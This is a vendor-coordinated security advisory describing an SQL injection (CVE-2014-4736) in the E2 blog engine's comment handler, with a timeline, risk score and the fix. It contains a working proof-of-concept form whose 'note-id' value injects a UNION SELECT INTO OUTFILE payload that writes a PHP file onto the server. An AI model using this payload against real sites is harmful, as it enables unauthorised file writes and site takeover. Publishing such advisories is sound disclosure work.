Advisory ID: HTB23222
Product: Е2 
Vendor: Ilya Birman
Vulnerable Version(s): v2844 and probably prior
Tested Version: v2844
Advisory Publication:  July 2, 2014  [without technical details]
Vendor Notification: July 2, 2014 
Vendor Patch: July 3, 2014 
Public Disclosure: July 23, 2014 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-4736
Risk Level: High 
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in Е2, which can be exploited to perform SQL injection attacks and gain control over the vulnerable application.


1) SQL Injection in Е2: CVE-2014-4736

The vlnerability exists due to insufficient sanitization of input data passed via the "note-id" HTTP POST parameter to "/@actions/comment-process" URI. A remote attacker can send a specially crafted HTTP POST request, inject and execute arbitrary SQL commands in application’s database. Successful exploitation of the vulnerability may allow an attacker to add, modify or delete arbitrary records in database and gain complete access to the web site.

PoC code below will create a PHP file "/var/www/file.php", containing "phpinfo()" call (if the filesystem permissions and MySQL configuration allow it):


<form action="http://[host]/@actions/comment-process" method="post" name="main">
<input type="hidden" name="already-subscribed" value="">
<input type="hidden" name="comment-id" value="new">
<input type="hidden" name="elton-john" value="1">
<input type="hidden" name="email" value="mail@mail.com">
<input type="hidden" name="from" value="">
<input type="hidden" name="name" value="name">
<input type="hidden" name="subscribe" value="on">
<input type="hidden" name="text" value="1">
<input type="hidden" name="note-id" value="' UNION SELECT '<? phpinfo(); ?>',2,3,4,5,1,7,8,9,10,11,12,13,14,15 INTO OUTFILE '/var/www/file.php' -- 2">
<input type="submit" id="btn">
</form>


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Solution:

Update to Е2 version v2845

More Information:
http://blogengine.ru/download/

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References:

[1] High-Tech Bridge Advisory HTB23222 - https://www.htbridge.com/advisory/HTB23222 - SQL Injection in Е2.
[2] Е2 - http://blogengine.ru/ - E2 is a perfect engine for blogging.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.